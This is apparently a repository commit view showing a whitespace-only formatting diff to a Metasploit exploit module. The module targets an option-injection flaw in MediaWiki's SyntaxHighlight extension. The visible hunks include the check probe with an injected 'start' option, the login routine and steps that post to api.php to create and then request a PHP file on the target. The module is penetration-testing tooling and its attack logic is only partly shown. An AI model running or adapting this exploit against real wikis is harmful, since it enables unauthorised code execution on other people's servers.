Fixed formatting

bug/bundler_fix
Yorick Koster 2017-04-29 16:07:45 +02:00 committed by GitHub
parent 1569d2cf8e
commit f9e7715adb
1 changed files with 7 additions and 7 deletions

View File

@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
'Description' => %q{
This module exploits an option injection vulnerability in the SyntaxHighlight
This module exploits an option injection vulnerability in the SyntaxHighlight
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
},
@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
])
end
def check
res = send_request_cgi({
'method' => 'POST',
@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
}
})
if(res && res.headers.key?('MediaWiki-API-Error'))
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
return Exploit::CheckCode::Appears
@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote
Exploit::CheckCode::Safe
end
# use deprecated interface
def login
print_status("Trying to login....")
@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
login
end
check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer}")
@ -137,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote
cleanup = ""
end
print_status("Local PHP file: #{cssfile}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
@ -154,4 +154,4 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
end
end
end
end